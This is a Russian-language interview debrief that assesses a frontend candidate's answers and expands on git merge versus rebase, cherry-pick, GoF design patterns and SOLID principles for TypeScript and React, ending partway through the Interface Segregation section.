Кандидат верно описал суть: Merge = сохранение точной истории (DAG), Rebase = переписывание истории (линейность). На уровне Senior/Tech Lead критически важно понимать механику разрешения конфликтов, влияние на git bisect, стратегии код-ревью, опасность --force-with-lease и командные конвенции (GitFlow vs Trunk-Based vs GitHub Flow). Ниже — углубленный разбор.
1. Фундаментальная разница: Топология графа (DAG)
| Характеристика | git merge | git rebase |
|---|---|---|
| Операция | Создает новый коммит (Merge Commit) с двумя родителями. | Переписывает существующие коммиты (новые SHA), меняет родителя на новый базовый. |
| История | Нелинейная (DAG). Видны параллельные линии разработки, точки синхронизации. | Линейная. Все коммиты идут в одну цепочку, будто работа шла последовательно. |
| Контекст | Сохраняет контекст ветки (когда, откуда, зачем ветвились). | Уничтожает контекст ветки. Выглядит так, будто коммиты писались поверх main прямо сейчас. |
| Безопасность | Безопасен для push (добавляет историю, не меняет прошлое). | Опасен для push (меняет прошлое). Требует --force-with-lease для обновления remote. |
| Конфликты | Разрешаются один раз в момент мержа (Merge Commit). | Разрешаются по коммитам (каждый коммит накладывается отдельно). |
Визуально:
MERGE (True History) REBASE (Linear History)
* Merge commit (M) * F' (new)
|\ * E' (new)
| * Feature C * D' (new)
| * Feature B * C' (new)
| * Feature A * B' (new)
|/ * A' (new)
* Main B * Main B
* Main A * Main A
2. Разрешение конфликтов: Ключевая операционная разница
Это главная причина выбирать одно или другое в ежедневной работе.
Merge: Один большой конфликт
git checkout main
git merge feature
# CONFLICT в 5 файлах.
# Вы видите ВСЕ конфликты сразу (ours vs theirs).
# Решаете -> git add . -> git commit (Merge Commit).
- Плюс: Атомарность. Либо все влилось, либо ничего.
- Минус: Сложно разобрать, какой именно коммит фичи сломал логику, если конфликтов много.
Rebase: Последовательные микро-конфликты
git checkout feature
git rebase main
# Конфликт в коммите A' (первый коммит фичи).
# Решаете -> git add -> git rebase --continue
# Конфликт в коммите C'...
# ...
- Плюс: История чистая, каждый коммит проходит тесты (если прогонять их на каждом шаге
rebase -x). - Минус: "Conflict Hell". Один и тот же конфликт (например, переименование файла) может возникнуть в 5 коммитах подряд. Нужно решать повторно.
- Решение:
git rerere(reuse recorded resolution) — обязательно включить глобально.
3. git rerere (Reuse Recorded Resolution) — Must Have для Rebase
Запоминает, как вы разрешили конфликт (пары "до/после"), и применяет автоматически при повторном возникновении.
# Включить глобально (раз в жизни)
git config --global rerere.enabled true
git config --global rerere.autoUpdate true # Авто-стейджит разрешенные конфликты
Сценарий:
git rebase main-> конфликт в коммите 3 из 10.- Руками правите файл ->
git add->git rebase --continue.rerereзапомнил. - Конфликт в коммите 7 (тот же кусок кода).
rerereавтоматически применяет ваше решение ->git rebase --continueпроходит молча. - Киллер-фича: Если вы ошиблись в разрешении ->
git checkout --conflict=merge <file>-> правите ->git add->rerereобновит память.
4. Интерактивный Rebase (rebase -i) — Инструмент гигиены истории
Перед пушем в общую ветку (или PR) Senior делает rebase -i для очистки локальной истории.
git rebase -i main
# или последние N коммитов:
git rebase -i HEAD~5
Команды в редакторе:
| Команда | Действие | Когда использовать |
|---|---|---|
pick (p) | Оставить как есть. | Базовое состояние. |
reword (r) | Изменить сообщение коммита (не меняя код). | Опечатки, приведение к Conventional Commits (feat:, fix:). |
edit (e) | Остановиться на коммите для правки кода. | Исправить баг, разбить коммит на два (reset HEAD^ -> commit -> commit -> continue). |
squash (s) | Слить с предыдущим (сообщения объединяются). | "WIP", "fix typo", "lint" -> слить в один смысловой коммит. |
fixup (f) | Слить с предыдущим, отбросив сообщение fixup-коммита. | Технические коммиты ("fix lint", "remove console.log"). |
drop (d) | Удалить коммит полностью. | Откат неудачного эксперимента, удаление секретов. |
exec (x) | Запустить команду (тесты) после коммита. | exec npm test — гарантия, что каждый коммит проходит CI. |
Golden Rule: rebase -i только над локальными коммитами, которых нет в origin.
5. Стратегии интеграции: Когда что применять (Team Policies)
Нет "лучшего", есть контракт команды.
Стратегия А: Merge Only (GitFlow / GitHub Flow стандарт)
- Правило:
mainзащищена. Вливание только через PR -> Merge Commit (или Squash Merge). - История: Граф с мерж-коммитами.
- Плюсы: Максимальная трассируемость.
git log --first-parentпоказывает историю релизов. Безопасно дляgit bisect(мерж-коммит — точка синхронизации). - Минусы: "Spaghetti history", шум в логах.
Стратегия Б: Rebase + Merge Commit (Semi-Linear)
- Правило: Разработчик делает
git fetch && git rebase origin/mainлокально. Решает конфликты. Пушит. PR мержится Merge Commit'ом (не Fast-Forward). - История: Линейная внутри фичи, но с явными Merge Commit'ами на границе
main. - Плюсы: Чистые коммиты в фиче (хорошо для ревью), сохранена граница интеграции.
- Минусы: Разработчик решает конфликты один (нагрузка на автора PR).
Стратегия В: Squash Merge (GitHub/GitLab Default для Trunk-Based)
- Правило: PR сливается одним коммитом (
Squash and Merge). - История: Идеально линейная
main. Каждый коммит вmain= одна задача (PR). - Плюсы: Максимально чистая
main.git bisectработает идеально (атомарные фичи). - Минусы: Теряется история внутри PR (коммиты "wip", "fix"). Нельзя сделать
cherry-pickотдельного коммита из PR. - Best Practice: Требуйте хорошее сообщение Squash-коммита (шаблон PR: Title = Summary, Body = Context).
Стратегия Г: Fast-Forward Only (Strict Linear / Linux Kernel style)
- Правило:
mainобновляется толькоff-only. Rebase делает автор перед пушем. Merge Commit'ов нет вообще. - Плюсы: Абсолютно линейная история.
- Минусы: Сложно откатить целую фичу (нет границы Merge Commit). Сложно бисектить, если фича большая и разбита на много коммитов.
6. Опасность Rebase: "Золотое правило" и Force Push
> НИКОГДА НЕ ДЕЛАЙТЕ REBASE КОММИТОВ, КОТОРЫЕ УЖЕ ЕСТЬ В REMOTE (PUBLIC).
Почему:
rebaseменяет SHA коммитов.- У коллеги есть старые коммиты локально.
- Коллега делает
git pull-> получает дубликаты коммитов (старые + новые ребазированные) -> хаос, дубликаты в истории, сломанные PR.
Безопасный Force Push (если ребазили свою фичу, которая уже в PR):
# НЕБЕЗОПАСНО: git push --force (затрет работу других, если они пушили в эту ветку)
# БЕЗОПАСНО:
git push --force-with-lease
# Или (Git 2.30+):
git push --force-if-includes
--force-with-leaseпроверяет: "Мойorigin/featureуказывает на тот коммит, который я знаю?". Если кто-то в बीच пушнул — откажет.--force-if-includesеще строже: проверяет, что ваш локальныйorigin/feature(после fetch) содержит коммит, на который указывает remote.
6. merge --squash vs rebase vs squash merge (PR Button)
Не путать:
git merge --squash feature— локально готовит индекс для одного коммита, не делает коммит, не записывает родителей.git commit-> обычный коммит (нет связи с feature).git rebase -i+squash/fixup— переписывает историю ветки feature локально перед пушем.- Squash Merge (UI кнопка в GitHub/GitLab) — сервер создает новый коммит на
mainс суммой изменений, удаляет ветку. Вmainлинейная история.
7. git bisect и влияние стратегии
- Merge Commit:
bisectскачет по Merge Commit'ам. Если Merge Commit сломан — неясно, какой именно коммит фичи виноват (нуженbisectвнутри фичи). - Squash Merge / Rebase + FF: Каждый коммит в
main— атомарная логическая единица.bisectуказывает точно на коммит, сломавший билд. Лучше для отладки регрессий.
8. Чек-лист Senior'а перед интеграцией
- Локально:
git fetch --prune. - Обновил базу:
git rebase origin/main(илиmerge origin/mainпо политике). - Почистил историю:
git rebase -i origin/main->fixup/reword/drop. - Прогнал тесты:
git rebase -i -x "npm test" origin/main(проверка каждого коммита). - Разрешил конфликты (с
rerere). - Запушил:
git push --force-with-lease(если ребазил свою ветку). - Создал PR с понятным описанием.
- Мерж стратегия: Согласно команде (Squash Merge / Merge Commit).
Резюме: Кандидат знает определения. Senior выбирает стратегию исходя из политики команды и инструментов (GitHub/GitLab UI). Понимает, что Rebase — это гигиена локальной истории (перед PR), а Merge (или Squash Merge) — это фиксация факта интеграции в общую ветку. Владеет rebase -i для приведения коммитов в порядок, использует rerere для боли с конфликтами и никогда не делает push --force без --force-with-lease.
Вопрос 33. Для чего используется cherry-pick
Таймкод: 01:20:21
Ответ собеседника: Правильный. Перенос конкретного коммита из одной ветки в другую. Кейс: хотфикс в проде — поправили в релизной ветке, зачерипикли в develop/main.
Правильный ответ:
Кандидат верно назвал основной сценарий — backporting (перенос исправлений в старые ветки). На уровне Senior/Tech Lead важно понимать механику (patch-id), проблемы с историей и конфликтами, подписание коммитов, автоматизацию через скрипты/ботов и альтернативы (merge, revert, patch files). Ниже — углубленный разбор.
1. Как это работает под капотом (Механика)
git cherry-pick <commit> — это не перемещение коммита, а создание нового коммита с тем же набором изменений (diff), но новым родителем (текущий HEAD) и новым SHA.
- Git берет diff коммита (
git show <commit> --patch). - Пытается применить этот diff к текущему состоянию Working Tree/Index (3-way merge относительно родителя коммита).
- Создает новый коммит с тем же сообщением (по умолчанию) и автором/датой автора, но новым коммитером/датой коммита и новым хешем.
Последствия:
- Дублирование изменений: Одно и то же изменение существует в двух местах истории с разными SHA.
git log --oneline --graphпокажет две параллельные линии с одинаковым содержимым.git mergeпозже может вызвать конфликты (хотя Git умеет детектировать уже примененные патчи черезpatch-id, это не всегда работает идеально при рефакторинге окружения).
2. Основные сценарии использования (Best Practices)
| Сценарий | Команда / Подход | Нюансы |
|---|---|---|
| Hotfix Backport (Release -> Main/Develop) | git checkout main && git cherry-pick <hotfix-commit> | Классика. Фиксим в release/v1.0, переносим в main и develop. |
| Backport в LTS ветки (v1.x, v2.x) | Скрипт/Бот: git checkout v1.x && git cherry-pick <commit> | Часто автоматизируется. Требует разрешения конфликтов под версию API ветки. |
| Извлечение коммита из чужого PR / Fork | git fetch origin pull/123/head:pr-123 && git cherry-pick <commit> | Полезно, если PR большой, а нужен только один фикс. |
| Откат (Revert) с сохранением истории | git revert <commit> (лучше) vs cherry-pick | revert создает "анти-коммит", сохраняя контекст. cherry-pick — для переноса вперед. |
| Перенос локальной работы на другую ветку | git checkout feature-B && git cherry-pick feature-A~3..feature-A | Диапазон коммитов. Полезно, если начали работу не в той ветке. |
3. Продвинутые флаги и режимы
# 1. Не коммитить, а подготовить Index/Working Tree (для правки перед коммитом)
git cherry-pick -n <commit> # --no-commit
# Полезно: объединить несколько пиков в один коммит, подправить код под новую базу.
# 2. Редактировать сообщение коммита (добавить ссылку на исходный)
git cherry-pick -e <commit> # --edit
# Best Practice: Добавлять в футер: "Cherry-picked from commit a1b2c3d"
# 3. Подписать коммит (GPG/SSH) — критично для Supply Chain Security
git cherry-pick -s <commit> # --signoff (Добавляет Signed-off-by trailer)
git cherry-pick --gpg-sign <commit> # -S, подписать ключом
# 4. Стратегия слияния (если конфликты)
git cherry-pick -X theirs <commit> # Принять "их" версию (в контексте cherry-pick: версию из пикаемого коммита)
git cherry-pick -X ours <commit> # Оставить "нашу" версию (текущую ветку)
# Внимание: семантика ours/theirs инвертирована относительно merge!
# 5. Диапазон коммитов (включая границы)
git cherry-pick A..B # Коммиты ПОСЛЕ A ДО B (не включая A)
git cherry-pick A^..B # Включая A
4. Конфликты при Cherry-pick: Специфика
Конфликт возникает, если контекст (окружающий код) в целевой ветке отличается от исходной.
Алгоритм действий:
git cherry-pick <commit>
# CONFLICT (content): Merge conflict in src/file.ts
# 1. Решаем конфликт вручную (редактируем файл)
# 2. Добавляем в индекс
git add src/file.ts
# 3. Продолжаем (создает коммит с исходным сообщением, если не было -e)
git cherry-pick --continue
# ОТМЕНА (если поняли, что не туда пикаете или конфликт слишком сложный)
git cherry-pick --abort
# Восстанавливает состояние до начала операции (HEAD, Index, Worktree).
Лайфхак: git rerere (Reuse Recorded Resolution)
Обязательно включите глобально (git config --global rerere.enabled true). Если вы разрешили конфликт при пике в release/v1, а потом пикаете тот же коммит в release/v2 — Git автоматически применит ваше предыдущее разрешение.
5. Опасности и Антипаттерны (Senior Warnings)
А. "Duplicate Commits Hell" (Ад дубликатов)
Если вы зачерипикли коммит в main, а потом делаете git merge release/v1.0 (в которой этот коммит есть):
- Git должен увидеть, что изменение уже применено (по
patch-id), и проигнорировать его при мерже. - Но: Если при cherry-pick вы поправили код (решили конфликт иначе, отформатировали, добавили лог) — SHA изменится,
patch-idможет не совпасть. Merge создаст дублирующую логику или конфликт. - Правило: Cherry-pick — это односторонний перенос. Не мержайте ветку-донор в целевую после пикинга без понимания последствий. Лучше:
git merge --strategy=ours release/v1.0(записать факт синхронизации без изменений) или просто не мержить.
Б. Потеря авторства / Conventional Commits
- Автор (Author) сохраняется. Коммитер (Committer) — вы (сейчас).
- Если команда требует
Signed-off-by(DCO) — нужен флаг-s. - Если используется Conventional Commits (
feat:,fix:) — сообщение переносится как есть. Но если пикаете в другую мажорную версию, тип коммита может стать неактуальным (например,featв старую ветку поддержки — этоfix/backport).
В. Cherry-pick Merge Commit'а (Опасно!)
git cherry-pick <merge-commit-sha>
# ОШИБКА: commit <sha> is a merge but no -m option was given.
У Merge Commit'а два родителя. Git не знает, относительно какого родителя считать diff.
git cherry-pick -m 1 <merge-sha>— diff относительно первого родителя (обычно целевая ветка, куда вмержили). Это "распаковывает" все изменения фичи в один коммит.git cherry-pick -m 2 <merge-sha>— diff относительно второго родителя (ветка-фича). Редко нужно.- Best Practice: Не пикайте мерж-коммиты. Пикайте конкретные коммиты фичи (или используйте
git merge --squashдля получения единого патча).
6. Автоматизация Backporting (Enterprise Scale)
В больших проектах (Kubernetes, React, VS Code, корп. монорепы) бэкпорты делают боты.
Пример логики бота (GitHub Actions / Probot / Custom):
- В PR в
mainдобавляют лейблbackport v1.x,backport v2.x. - Бот при мерже PR:
- Берет Squash Merge Commit (или список коммитов PR).
- Для каждой целевой ветки (
release/v1.x):- Создает временную ветку от
release/v1.x. - Пытается
cherry-pick(илиgit applyпатча). - Если успешно -> пушит ветку, создает PR в
release/v1.xс заголовком[Backport v1.x] Original PR Title. - Если конфликт -> создает Issue/PR с пометкой
needs-manual-backport, тегает авторов.
- Создает временную ветку от
- Ревьювер в релизной ветке видит готовый PR, прогоняет тесты, мержит.
Инструменты: backport (npm pkg), git-cherry-pick-action, probot/backport, Mergify.
7. Альтернативы Cherry-pick
| Задача | Инструмент | Почему лучше |
|---|---|---|
| Перенести ВСЮ фичу | git merge / git rebase | Сохраняет историю, связь с родителем, проще откатить. |
| Откатить изменение | git revert <commit> | Создает явный "анти-коммит", безопасен для публичной истории, bisect работает корректно. |
| Перенести изменения без истории (один патч) | git diff A..B > patch.file<br>git apply patch.file / git am < patch.file | Полный контроль над тем, что применяется. git am сохраняет автора/дату/сообщение из email-патча. |
| Взять файл из другого коммита/ветки | git checkout <commit> -- path/to/file<br>git restore -s <commit> -- path/to/file | Не создает коммит, просто берет состояние файла. Идеально для конфигов, ассетов. |
| Синхронизировать длинную историю (Vendor branch) | git subtree / git submodule / git merge -s subtree | Правильная архитектура для зависимостей, а не ручное копирование коммитов. |
8. Чек-лист перед git cherry-pick (Senior Checklist)
- Нужен ли именно этот коммит? Не лучше ли
merge/revert/checkout file? - Есть ли тесты? Запустить тесты после пика (конфликт мог сломать логику).
- Флаг
-x/-e? Добавить в сообщение ссылку на исходный коммит (cherry picked from commit ...) — критично для трейсабилити. - Флаг
-s? Нужен лиSigned-off-by(DCO policy). - Конфликты? Использовать
rerere. Если конфликт сложный — возможно, код слишком ушел, лучше сделать бэкпорт вручную (написать фикс под версию). - Не пикаем ли Merge Commit? Если да — используем
-m 1и понимаем, что теряем историю коммитов фичи. - CI/CD? Проверить, что бэкпорт-ветка проходит пайплайн целевой версии (Node версия, депы могут отличаться).
Резюме: Кандидат знает кейс хотфикса. Senior использует cherry-pick целенаправленно и осторожно: с флагами -x (трейс) и -s (подпись), понимает механику patch-id и риски дублирования при последующих мержах, автоматизирует рутину бэкпортов через ботов/лейблы и знает альтернативы (revert, checkout --patch, subtree) для случаев, когда пикинг — это "костыль" архитектуры.
Вопрос 34. Основные группы паттернов проектирования (GoF) и примеры
Таймкод: 01:21:18
Ответ собеседника: Правильный. 1. Порождающие (Creational): Factory, Builder (чейннинг), Singleton. 2. Структурные (Structural): Adapter (DTO -> Store/Props), Decorator (обёртка: кэш, логирование). 3. Поведенческие (Behavioral): Observer (подписка на события, MutationObserver), Proxy (MobX, стейт-менеджеры). Привёл примеры из практики.
Правильный ответ:
Кандидат верно назвал три классические категории GoF и привел релевантные фронтенд-примеры. На уровне Senior/Tech Lead ожидается не просто перечисление, а понимание применимости в современном JS/TS/React экосистеме, проблем с классическими реализациями (Singleton, Observer), функциональных альтернатив и архитектурных причин выбора. Ниже — разбор с акцентом на TypeScript и React.
1. Порождающие (Creational) — Управление созданием экземпляров
Суть: Инкапсуляция логики инстанцирования, отделение клиента от конкретных классов.
| Паттерн | Суть | Современный JS/TS контекст | Пример использования | Антипаттерн / Предостережение |
|---|---|---|---|---|
| Factory Method / Abstract Factory | Делегирование создания подклассам / фабрике семейств. | DI Containers (NestJS, Inversify), createElement в React, фабрики хуков (useQueryFactory). | Создание разных типов уведомлений (Email, Push, SMS) через единый интерфейс NotificationFactory. | Слишком много абстракций для простых объектов. В TS часто заменяется Discriminated Unions + функция-конструктор. |
| Builder | Пошаговое конструирование сложного объекта. | Query Builders (Knex, Prisma, Kysely), URLSearchParams, конфигурация сложных компонентов (ChartConfigBuilder). | new RequestBuilder().setUrl('/api').setMethod('POST').addHeader('auth', token).build() | Fluent API / Method Chaining — стандарт де-факто. В TS используйте this return type для цепочек. |
| Prototype | Клонирование экземпляра вместо new. | Immer (produce/draft), structuredClone, Object.assign, spread-оператор. | Оптимистичное обновление стейта: const nextState = produce(state, draft => { draft.items.push(newItem) }). | Глубокое клонирование (JSON.parse(JSON.stringify)) — медленно и теряет функции/классы. Используйте Immer или structuredClone. |
| Singleton | Глобальная точка доступа, один экземпляр. | Модули ES6 (export const instance = ...) — это и есть нативный Singleton. Redux Store, Apollo Client, Logger, Config. | export const logger = new Logger(); // в модуле | Глобальное мутабельное состояние — враг тестируемости и SSR. В React/Next.js избегайте синглтонов с состоянием, используйте Context / Dependency Injection / Request-scoped провайдеры. |
Senior Insight (TypeScript):
Вместо классического Factory Class часто пишут Factory Functions с Discriminated Unions:
type Notification =
| { type: 'email'; address: string }
| { type: 'push'; token: string };
function createNotificationSender(n: Notification): Sender {
switch (n.type) {
case 'email': return new EmailSender(n.address);
case 'push': return new PushSender(n.token);
}
}
2. Структурные (Structural) — Композиция классов и объектов
Суть: Как собирать объекты в большие структуры, сохраняя гибкость.
| Паттерн | Суть | Современный JS/TS контекст | Пример использования | Антипаттерн / Предостережение |
|---|---|---|---|---|
| Adapter | Приведение интерфейса А к интерфейсу Б. | Нормализация API (DTO -> Domain Model), обертки над легаси/библиотеками (axios adapter для fetch), React.forwardRef (адаптация ref). | const userAdapter = (dto: UserDTO): User => ({ id: dto._id, name: {dto.last} }); | Не путайте с Mapper/Transformer. Адаптер — про интерфейс (поведение), а не просто данные. |
| Decorator | Добавление ответственностей динамически (обертка). | HOC (Higher-Order Components) — уходит в прошлое. Custom Hooks Composition (useAuth -> usePermissions -> useData), Middleware (Express, Redux, Axios), Class Decorators (TS/Decorators Stage 3) — MobX @observable, @computed. | const withLogging = (Component) => (props) => { useEffect(() => log(props), [props]); return <Component {...props} />; }; | HOCs создают "Wrapper Hell" в DevTools. В React 18+ предпочитайте Hook Composition или Render Props (редко). |
| Proxy | Заместитель, контролирующий доступ. | React.memo, Proxy объекты (MobX, Vue 3, Valtio, Immer), Virtual Proxy (Lazy Loading: React.lazy, next/dynamic), Protection Proxy (RBAC обертки). | const reactiveState = new Proxy(state, { set(target, prop, val) { track(); target[prop]=val; trigger(); return true; } }) | Нативный Proxy ломает === проверки и JSON.stringify. В производительных путях (рендеринг списков) избегайте глубоких прокси. |
| Facade | Упрощенный интерфейс к сложной подсистеме. | Service Layer / API Client (api.user.getProfile() вместо fetch + headers + error handling), Facade Components (<DataTable /> скрывает сортировку, пагинацию, фетчинг). | class UserService { async getProfile() { const res = await this.http.get('/me'); return UserAdapter(res.data); } } | Не создавайте "God Facade", знающий обо всем. Разбивайте по доменам (UserFacade, BillingFacade). |
| Composite | Дерево объектов (часть-целое). | React Elements (Fiber Tree), Menu/Tree UI компоненты, Formik / React Hook Form (FieldArray -> Field). | <Menu><MenuItem /><SubMenu><MenuItem /></SubMenu></Menu> — рекурсивный рендер. | Рекурсия без мемоизации (React.memo) = ре-рендеры всего дерева при изменении листа. |
| Flyweight | Экономия памяти через разделение состояния. | Интернирование строк (React Keys, Symbol), CSS-in-JS (генерация уникальных классов), Canvas/WebGL (пул частиц, иконки). | const iconCache = new Map<string, SVGElement>(); | В JS/TS GC обычно справляется. Нужен только при тысячах однотипных объектов (Canvas, большие списки виртуализации). |
3. Поведенческие (Behavioral) — Взаимодействие и распределение ответственности
Суть: Алгоритмы и коммуникация между объектами.
| Паттерн | Суть | Современный JS/TS контекст | Пример использования | Антипаттерн / Предостережение |
|---|---|---|---|---|
| Observer / Pub-Sub | Подписка на изменения (1:N). | EventEmitter (Node), Custom Events (DOM), RxJS (Subject/Observable), Signals (@preact/signals, SolidJS, Angular Signals), Zustand/Valtio subscribers. | const store = createStore(state); store.subscribe(listener); | Классический Observer (GoF) создает сильную связанность (Subject знает о Observer). В JS предпочитайте Event Bus / RxJS / Signals (слабая связанность, удобная отписка). |
| Strategy | Инкапсуляция алгоритма, горячая замена. | Sorting/Filtering функции, Payment Providers (Stripe/PayPal), Auth Strategies (Passport.js), React Render Props (устарело), Custom Hooks (useLocalStorage vs useSessionStorage). | const sorters = { asc: (a,b) => a-b, desc: (a,b) => b-a }; const sort = sorters[strategy]; | В FP/TS часто заменяется функциями высшего порядка или объектом-стратегией (Record<Type, Fn>). Избегайте классов Strategy там, где достаточно функции. |
| Command | Инкапсуляция действия как объекта. | Redux Actions / Action Creators, Undo/Redo Managers, CLI Commands (Commander.js), Transactional Outbox. | interface Command { execute(): void; undo(): void; } | В Redux/Flux это данность. Для Undo/Redo используйте библиотеки (redux-undo, immer с историей), не пишите вручную. |
| State Machine / State | Поведение зависит от состояния. | XState / Stately, React State Machines, Status Enums (idle | loading | success | error). | const machine = createMachine({ id: 'fetch', initial: 'idle', states: { idle: { on: { FETCH: 'loading' } }, loading: { on: { RESOLVE: 'success', REJECT: 'error' } } } }); | Boolean флаги (isLoading, isError, isSuccess) — антипаттерн "Impossible States". Всегда моделируйте через Discriminated Union или XState. |
| Chain of Responsibility | Цепочка обработчиков. | Express Middleware (next()), Axios Interceptors, React Context Providers (вложенные), Error Boundaries. | app.use(auth).use(logger).use(router); | Сложность отладки (где упало?). Логируйте вход/выход из каждого звена. |
| Iterator | Последовательный доступ без раскрытия структуры. | Symbol.iterator, Generators (function*), Async Iterators (for await). | async function* fetchAllPages(url) { while(url) { const res = await fetch(url); yield* res.data; url = res.nextPage; } } | Стандарт языка. Используйте for await (const item of stream) для стриминговых ответов (LLM, большие CSV). |
| Mediator | Централизованное управление взаимодействием. | Redux Store / Event Bus / Message Broker (Kafka/RabbitMQ на бэке), Form Libraries (координируют поля). | Компоненты не знают друг о друге, диспатчат экшены в Store. | God Mediator — когда один объект знает обо всем. Декомпозируйте по доменам (Module Federation, Micro-frontends). |
| Template Method | Скелет алгоритма с переопределением шагов. | Abstract React Class Components (устарело), Базовые классы сервисов (BaseService с handleError), Next.js getStaticProps/getServerSideProps (жизненный цикл). | abstract class BaseFetcher { async fetch() { await this.auth(); const data = await this.getData(); return this.transform(data); } abstract getData(); } | Наследование в JS/TS — зло. Предпочитайте Composition (Hooks / Functions). fetchWithAuth(authFn, dataFn, transformFn). |
| Visitor | Разделение алгоритма от структуры объекта. | AST Transformers (Babel, ESLint, TypeScript Compiler API), Сериализация/Валидация сложных деревьев. | visitor.visit(node) { switch(node.type) { case 'Identifier': ... } } | Очень специфичен. Нужен только при работе с AST / IR / сложными древовидными структурами данных. В бизнес-логике почти не встречается. |
4. Паттерны, которых НЕТ в GoF, но критичны для Senior Frontend (Modern Patterns)
| Паттерн | Описание | Пример |
|---|---|---|
| Compound Components | Неявное связывание состояния через Context (<Select><Option /><Trigger /></Select>). | Radix UI, Headless UI, React Aria. |
| Render Props / Function as Child | Инверсия управления рендером (исторически, сейчас хуки). | <Mouse>{({x, y}) => <Cat position={{x, y}} />}</Mouse> |
| Custom Hooks Composition | Основной способ переиспользования логики в React. | const useUser = () => { const auth = useAuth(); const data = useQuery(auth.id); return data; } |
| Controlled / Uncontrolled Components | Управление состоянием (React owns vs DOM owns). | <input value={val} onChange={...} /> vs <input defaultValue={val} ref={...} /> |
| Module Pattern / IIFE | Инкапсуляция приватности (до private полей / #private). | const Counter = (() => { let count = 0; return { inc() { return ++count } } })(); |
| Dependency Injection (DI) | Инверсия контроля зависимостей. | Angular DI, InversifyJS, NestJS, React Context (упрощенный DI). |
5. Чек-лист Senior'а: "Нужен ли мне паттерн?"
- YAGNI (You Aren't Gonna Need It): Не вводите
Factory/Strategy/Decorator, пока нет реального требования к замене реализации или расширению. - Язык решает за вас:
Singleton=export const(Module Pattern).Iterator=Symbol.iterator/ Generators.Decorator= Higher-Order Functions / Hooks / TS Decorators.Strategy= Function / Record<Type, Fn>.Observer= EventTarget / RxJS / Signals.
- Композиция > Наследование: GoF написан под C++/Java 90-х. В JS/TS 2024 Functional Composition и Object Composition побеждают Class Inheritance.
- Тестируемость: Паттерн хорош, если он позволяет подменить зависимость в тесте (порт/адаптер, стратегия, фабрика).
- Читаемость: Если паттерн заставляет читать 5 файлов, чтобы понять, куда кликает кнопка — паттерн вреден.
Резюме: Кандидат знает классику. Senior не запоминает каталог, а распознает проблему (создание, структура, поведение) и подбирает идиоматичное для стека решение (TS Types, Hooks, Signals, Generators, Module System), зная, где классический GoF упрощается языком, а где требует осторожности (Singleton, Observer, Inheritance-based Patterns).
Вопрос 35. Расскажи о принципах SOLID
Таймкод: 01:26:28
Ответ собеседника: Неполный. S — Single Responsibility (единая ответственность). O — Open/Closed (открыт для расширения, закрыт для модификации) — запутался в формулировке, исправил после подсказки. L — Liskov Substitution (подстановка Барбары Лисков) — описал как возможность использовать наследников вместо базового типа. I — Interface Segregation (разделение интерфейсов) — не помнил точно, сказал про 'не заставлять клиента реализовывать лишние методы'. D — Dependency Inversion (инверсия зависимостей) — описал как зависимость от абстракций, а не конкретных реализаций. Не привел конкретные примеры из фронтенда.
Правильный ответ:
Кандидат знает акронимы и суть, но на уровне Senior/Tech Lead требуется умение применять принципы в контексте React/TypeScript, понимание trade-offs (компромиссов) и знание, где принципы работают иначе, чем в классическом ООП (Java/C#). В JS/TS нет интерфейсов во время выполнения, наследование классов используется редко, а композиция хуков и компонентов диктует свои правила.
S — Single Responsibility Principle (Принцип единственной ответственности)
Формулировка: У модуля (класса, функции, компонента, хука) должна быть одна причина для изменения.
Фронтенд-контекст:
- Компоненты:
<UserProfile />не должен знать, как фетчить данные, как валидировать форму и как рендерить аватарку.- Плохо: Один компонент делает
fetch, парсит JSON, хранит стейт, рендерит layout, модалки и тосты. - Хорошо:
<UserProfileContainer />(data fetching + state) -><UserProfileView />(UI) -><Avatar />,<UserForm />(изолированные UI-примитивы).
- Плохо: Один компонент делает
- Хуки:
useUserDataотвечает только за получение и кэширование данных.useUserForm— только за состояние формы и валидацию. Не смешиватьuseEffectдля фетча иuseStateдля модалки в одном кастомном хуке. - Утилиты/Сервисы:
apiClientделает HTTP.tokenManagerработает с токенами.dateUtilsформатирует даты. Не пишитеapiClient.formatDate().
Senior Insight: SRP часто конфликтует с DRY и удобством (Colocation). Не дробите до абсурда (антипаттерн "Размытый код" / Shotgun Surgery). Группируйте по бизнес-причине изменения (Domain), а не по техническому типу.
O — Open/Closed Principle (Принцип открытости/закрытости)
Формулировка: Программные сущности должны быть открыты для расширения, но закрыты для модификации.
Фронтенд-контекст (Композиция > Наследование): В классическом ООП это про наследование и виртуальные методы. В React/TS — про композицию, пропсы, HOC, Render Props, кастомные хуки и плагинную архитектуру.
- Пропсы как точки расширения: Компонент
<Button />закрыт для изменения кода, но открыт для расширения черезvariant,size,onClick,children,renderIcon(Render Prop). - HOC / Wrapper Components:
withAuth(Component)расширяет поведение без измененияComponent. - Плагинная архитектура / Middleware:
axios.interceptors,redux middleware,vite plugins,eslint plugins. Ядро не меняется, функционал добавляется плагинами. - Discriminated Unions / Strategy Pattern: Добавление нового типа уведомления (
type: 'sms') требует добавления кейса вswitch(нарушение OCP в чистом виде), но в TSneverпроверка заставит обновить все места — это контролируемое нарушение, безопасное за счет типов.
Senior Insight: В UI полное соблюдение OCP часто ведет к Over-engineering (абстракции ради абстракций). Применяйте там, где есть стабильный контракт (UI Kit, Public API, Ядро фреймворка). В бизнес-логике фичи часто проще поменять код (Closed for modification — миф), чем поддерживать гибкую плагинную систему.
L — Liskov Substitution Principle (Принцип подстановки Лисков)
Формулировка: Объекты наследников должны pouvoir заменять объекты базового типа без нарушения корректности программы (предусловия не усиливаются, постусловия не ослабляются, инварианты сохраняются).
Фронтенд-контекст (Редко про классы, часто про контракты):
- Компоненты-полиморфизм: Если
<Select />ожидает опции{ value, label }, любой компонент-опция должен это предоставлять. Кастомный<AsyncSelectOption />не должен ломать навигацию клавиатурой (нарушение поведения). - Кастомные хуки (Hook Contracts):
useListвозвращает{ items, loading, error, refetch }. ХукuseVirtualizedListдолжен возвращать тот же интерфейс + возможноvirtualItems. Потребитель хука не должен знать, какой именно хук используется. - Адаптеры API:
UserApi.getUser()возвращаетPromise<User>.MockUserApi.getUser()должен возвращатьPromise<User>с теми же полями и семантикой ошибок (не возвращатьnullвместоthrow).
Классическое нарушение (Square/Rectangle) в UI:
ResizableBox (базовый) -> FixedAspectRatioBox (наследник). Если базовый позволяет setWidth и setHeight независимо, наследник ломает это (меняя высоту при смене ширины) — нарушение LSP. Решение: не наследовать, а компонуть (<AspectRatio><ResizableBox /></AspectRatio>).
I — Interface Segregation Principle (Принцип разделения интерфейса)
Формулировка: Клиенты не должны зависеть от методов, которые они не используют. Лучше много специализированных интерфейсов, чем один "божественный".
Фронтенд-контекст (TypeScript Interfaces / Props):
